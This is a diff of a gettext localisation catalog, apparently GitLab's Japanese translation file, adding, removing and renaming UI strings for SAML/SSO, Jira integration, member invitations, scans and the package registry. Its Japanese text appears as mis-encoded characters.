msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr "グループã«ã¯åˆ¥ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆãŒå¿…è¦ã§ã™"
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr "証明書ã®ãƒ•ã‚£ãƒ³ã‚¬ãƒ¼ãƒ—リント"
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr "設定"
@@ -14428,8 +14853,11 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã® SAML èªè¨¼ã‚’有効ã«ã™ã‚‹."
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
-msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã«SSOã®ã¿ã®èªè¨¼ã‚’強制ã™ã‚‹."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
+msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—専用ã®ã‚°ãƒ«ãƒ¼ãƒ—管ç†ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’ユーザーã«è¨­å®šã™ã‚‹ã€‚"
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr "強制ã•ã‚ŒãŸSSOを有効化ã«ã™ã‚‹ãŸã‚ã«ã¯ã€ã¾ãšSAMLèªè¨¼ã‚’有効ã«ã—ã¾ã™ã€‚"
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr "グループ管ç†ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’有効ã«ã™ã‚‹ãŸã‚ã«ã¯ã€ã¾ãšå¼·åˆ¶SSOを有効化ã—ã¾ã™ã€‚"
@@ -14722,9 +15147,6 @@ msgstr "グループã¯ã€%{subgroup_docs_link_start}サブグループ%{subgrou
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "よã使ã†ãƒ—ロジェクト"
@@ -14860,9 +15282,6 @@ msgstr "リãƒã‚¸ãƒˆãƒªã‚¹ãƒˆãƒ¬ãƒ¼ã‚¸ãƒ‘スã®ãƒãƒƒã‚·ãƒ¥"
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr "ユーザーã«ãƒ¡ãƒ¼ãƒ«ã‚’é€ä¿¡"
-
msgid "Header logo was successfully removed."
msgstr "ヘッダーロゴã¯æ­£å¸¸ã«å‰Šé™¤ã—ã¾ã—ãŸã€‚"
@@ -15039,6 +15458,9 @@ msgstr "ãƒã‚¦ã‚¹ã‚­ãƒ¼ãƒ”ングã€ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆã€ãƒ‘スã€è»¢é€ã€å‰Šé™¤
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr "リカãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰ã‚’紛失ã—ãŸå ´åˆã¯ã€æ–°ã—ã„リカãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰ã‚’生æˆã—ã¦ã€ä»¥å‰ã®ãƒªã‚«ãƒãƒªãƒ¼ã‚³ãƒ¼ãƒ‰ã‚’ã™ã¹ã¦ç„¡åŠ¹ã«ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -15365,9 +15793,6 @@ msgstr "インãƒãƒ¼ãƒˆãŒã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã—ãŸã€‚インãƒãƒ¼ãƒˆã« %{
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr "インãƒãƒ¼ãƒˆ/エクスãƒãƒ¼ãƒˆã®èª¬æ˜Ž"
-
msgid "ImportButtons|Connect repositories from"
msgstr "リãƒã‚¸ãƒˆãƒªã¸æŽ¥ç¶š"
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
-msgstr "GitLab エンタープライズエディションã§ã¯ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¨ã‚«ã‚¹ã‚¿ãƒžãƒ¼ã‚µãƒãƒ¼ãƒˆã‚’改善"
+msgid "Importing..."
+msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr "SSHキーをアップロードã—ã¦ã„ãªã„ユーザーã«ã€è¿½åŠ ã•
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr "追加ã®Pagesテンプレートã«é–¢ã™ã‚‹æƒ…å ±ã¨ãれらをインストールã™ã‚‹æ–¹æ³•ã«ã¤ã„ã¦ã¯ã€ç§ãŸã¡ã® %{pages_getting_started_guide} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr "無効ãªã‚¤ãƒ³ã‚µã‚¤ãƒˆè¨­å®šãƒ•ã‚¡ã‚¤ãƒ«ãŒã¿ã¤ã‹ã‚Šã¾ã—ãŸ"
-msgid "Invalid Login or password"
-msgstr "ログインIDã¾ãŸã¯ãƒ‘スワードãŒç„¡åŠ¹ã§ã™ã€‚"
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr "イシューã®æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸ"
@@ -16714,6 +17148,9 @@ msgstr "イシュー㯠%{name} ã«ã‚ˆã£ã¦ã‚¯ãƒ­ãƒ¼ã‚ºã•ã‚Œã¾ã—㟠%{reason
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr "イシューã¨ã¯ãƒã‚°ã€ã‚¿ã‚¹ã‚¯ã€ã¾ãŸã¯è­°è«–ã®å¿…è¦ãªã‚¢ã‚¤
msgid "Issues closed"
msgstr "クローズã—ãŸã‚¤ã‚·ãƒ¥ãƒ¼"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr "コメントã®ã‚るイシューã€å·®åˆ†ã¨ã‚³ãƒ¡ãƒ³ãƒˆã€ãƒ©ãƒ™ãƒ«ã€ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã€ã‚¹ãƒ‹ãƒšãƒƒãƒˆã€ãã®ä»–ã®ãƒ—ロジェクトエンティティã¨é–¢é€£ã—ãŸãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr "ã‚ãªãŸã§ã™"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr "イテレーション"
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "%{noteable_model_name} イベントã¯ç„¡åŠ¹ã§ã™ã€‚"
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr "サーãƒãƒ¼ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã¯ãƒ‘スワードを使用ã—ã¦ãã ã•ã„。クラウドãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã¯APIトークンを使用ã—ã¦ãã ã•ã„。"
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr "サーãƒãƒ¼ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼åを使用ã—ã¦ãã ã•ã„。クラウドãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã¯Eメールを使用ã—ã¦ãã ã•ã„。"
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr "ユーザーåã¾ãŸã¯ãƒ¡ãƒ¼ãƒ«"
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr "ラベルアクションドロップダウン"
msgid "Label lists show all issues with the selected label."
msgstr "ラベル一覧ã«ã¯ã€é¸æŠžã—ãŸãƒ©ãƒ™ãƒ«ãŒä»˜ã„ãŸã™ã¹ã¦ã®ã‚¤ã‚·ãƒ¥ãƒ¼ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚"
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "ラベルãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr "詳細"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr "リンクをコピーã—ã¾ã—ãŸ"
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "グループメンãƒãƒ¼ã®è²¢çŒ®åº¦æƒ…報を読ã¿è¾¼ã¿ä¸­"
@@ -18195,6 +18662,9 @@ msgstr "ã™ã¹ã¦ã®é€šçŸ¥ã‚’管ç†"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "OAuth プロãƒã‚¤ãƒ€ã¨ã—㦠GitLab を使用ã§ãるアプリケーションã¨ã€ã‚ãªãŸãŒã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’使用ã™ã‚‹ã“ã¨ã‚’許å¯ã™ã‚‹ã‚¢ãƒ—リケーションを管ç†ã—ã¾ã™ã€‚"
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "アカウントã®ä½¿ç”¨ã‚’許å¯ã™ã‚‹ã‚¢ãƒ—リケーションを管ç†ã—ã¾ã™ã€‚"
@@ -18234,6 +18704,9 @@ msgstr "マニフェストファイルã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã®é †åºã‚’ä¿å­˜ã§ãã¾ã›ã‚“ã§ã—ãŸ"
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr "解決済ã«ã™ã‚‹"
-
msgid "Mark this issue as a duplicate of another issue"
msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’別ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã¨é‡è¤‡ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã™ã‚‹"
@@ -18336,6 +18806,9 @@ msgstr "マッãƒã—ã¾ã›ã‚“ã§ã—ãŸã€‚検索クエリを変ãˆã¦è©¦ã—ã¦ã
msgid "MattermostService|Add to Mattermost"
msgstr "Mattermostã«è¿½åŠ "
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr "コマンドã®ãƒˆãƒªã‚¬ãƒ¼ãƒ¯ãƒ¼ãƒ‰"
@@ -18354,14 +18827,11 @@ msgstr "応答アイコン"
msgid "MattermostService|Response username"
msgstr "応答ユーザーå"
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr "ã“ã®ã‚µãƒ¼ãƒ“スを設定ã—ãŸå¾Œã«Mattermost上ã§ä½¿ç”¨ã§ãるコマンドã®ãƒªã‚¹ãƒˆã‚’表示ã™ã‚‹ã«ã¯ã€æ¬¡ã‚’入力ã—ã¾ã™ã€‚"
-
msgid "MattermostService|Suggestions:"
msgstr "æ案:"
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
-msgstr "ã“ã®ã‚µãƒ¼ãƒ“スã«ã‚ˆã‚Šã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯Mattermostã«ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã‚³ãƒžãƒ³ãƒ‰ã‚’入力ã—ã¦ã€ã“ã®ãƒ—ロジェクト上ã®ä¸€èˆ¬çš„ãªæ“作ãŒå®Ÿè¡Œã§ãã¾ã™ã€‚"
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
+msgstr ""
msgid "Max 100,000 events"
msgstr ""
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr "最大容é‡"
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr "メンãƒãƒ¼"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr "マージリクエスト"
msgid "Merge Request Analytics"
msgstr "マージリクエスト分æž"
-msgid "Merge Request Approvals"
-msgstr "マージリクエスト承èª"
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "マージリクエスト承èª"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr "マージリクエストã®ä¾å­˜é–¢ä¿‚"
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] "マイルストーン"
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "ç¾åœ¨ã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã§ã¯ マイルストーンリストを利用ã§ãã¾ã›ã‚“"
@@ -19499,6 +19963,12 @@ msgstr "ミラーリングを正ã—ã無効化ã—ã¾ã—ãŸ"
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr "ミラーリングã¯ã€é¸æŠžã—ãŸã‚°ãƒ«ãƒ¼ãƒ—ã¾ãŸã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒãƒ—ランã«å«ã¾ã‚Œã¦ã„ã‚‹å ´åˆã«ã®ã¿åˆ©ç”¨å¯èƒ½ã§ã™ã€‚"
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr "ã•ã‚‰ã«è¡¨ç¤º"
msgid "More Information"
msgstr "詳細"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr "ãã®ä»–ã®Slackコマンド"
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr "åå‰"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr "ãã®åå‰ã¯æ—¢ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "ã—ãªã„"
@@ -20057,9 +20542,6 @@ msgstr "æ–°ã—ã„ Jira インãƒãƒ¼ãƒˆ"
msgid "New Label"
msgstr "æ–°ã—ã„ラベル"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr "æ–°ã—ã„マイルストーン"
@@ -20225,6 +20707,9 @@ msgstr "Next"
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr "差分ã®ã‚る次ã®ãƒ•ã‚¡ã‚¤ãƒ«"
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr "èªè¨¼æ–¹æ³•ãŒè¨­å®šã•ã‚Œã¦ã„ã¾ã›ã‚“。"
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,8 +20824,8 @@ msgstr "表示ã§ãるエラーã¯ã‚ã‚Šã¾ã›ã‚“。"
msgid "No estimate or time spent"
msgstr "見ç©ã¨å®Ÿç¸¾ã¯æœªå…¥åŠ›"
-msgid "No file chosen"
-msgstr "ファイルãŒé¸æŠžã•ã‚Œã¦ã„ã¾ã›ã‚“"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr "ファイルフックã¯ã‚ã‚Šã¾ã›ã‚“。"
@@ -20387,6 +20875,9 @@ msgstr "ライセンス表記ãŒã‚ã‚Šã¾ã›ã‚“。全ã¦ã®æ¨©åˆ©ã‚’ä¿æœ‰ã—ã¦
msgid "No matches found"
msgstr "一致ã™ã‚‹é …ç›®ãŒã‚ã‚Šã¾ã›ã‚“"
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr "一致ã™ã‚‹ãƒ©ãƒ™ãƒ«ãŒã‚ã‚Šã¾ã›ã‚“"
@@ -20474,6 +20965,9 @@ msgstr "ã‚ãªãŸã®æ¤œç´¢ã«ãƒžãƒƒãƒã—ãŸãŠæ°—ã«å…¥ã‚Šã¯ã‚ã‚Šã¾ã›ã‚“"
msgid "No start date"
msgstr "開始日ãªã—"
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "テンプレートãŒã‚ã‚Šã¾ã›ã‚“"
@@ -20645,6 +21139,22 @@ msgstr "通知設定 - %{notification_title}"
msgid "Notification settings saved"
msgstr "通知設定ãŒä¿å­˜ã•ã‚Œã¾ã—ãŸ"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr "Elasticsearchã®ãƒ¬ãƒ—リカã®æ•°"
msgid "Number of Elasticsearch shards"
msgstr "Elasticsearchã®ã‚·ãƒ£ãƒ¼ãƒ‰ã®æ•°"
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr "コミットã”ã¨ã®LOCæ•°"
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr "オンデマンドスキャン"
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr "オンデマンドスキャン㯠DevOps ã®ã‚µã‚¤ã‚¯ãƒ«å¤–ã§å®Ÿè¡Œã•ã‚Œã€ãƒ—ロジェクトã®è„†å¼±æ€§ã‚’見ã¤ã‘ã¾ã™ã€‚%{learnMoreLinkStart}詳細を表示%{learnMoreLinkEnd}"
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr "ãã‚Œã¯ã€æœ¬å½“ã§ã™ã‹ï¼Ÿ"
msgid "Open"
msgstr "オープン"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr "é¸æŠžæ¸ˆã¿ã®ã‚‚ã®ã‚’é–‹ã"
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr "イシューを開ã"
-
msgid "Open raw"
msgstr "ãã®ã¾ã¾é–‹ã"
@@ -21168,12 +21672,15 @@ msgstr "サイドãƒãƒ¼ã‚’é–‹ã"
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "オープン"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "オープン"
+
msgid "Opened MRs"
msgstr ""
@@ -21186,6 +21693,9 @@ msgstr "オープンã•ã‚ŒãŸã®ã¯"
msgid "Opens in a new window"
msgstr "æ–°è¦ã‚¦ã‚£ãƒ³ãƒ‰ã‚¦ã§é–‹ã"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr "æ“作ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ pod log ã® %{pod_name} ã§è©³ç´°ã‚’確èªã—ã¦ãã ã•ã„。"
@@ -21237,6 +21747,9 @@ msgstr "オプション"
msgid "Or you can choose one of the suggested colors below"
msgstr "ã¾ãŸã¯ã€ä¸‹è¨˜ã®ã„ãšã‚Œã‹ã®è‰²ã‚’é¸æŠžã§ãã¾ã™"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr "Conan リモートã®è¿½åŠ "
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "NuGet ソースを追加"
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
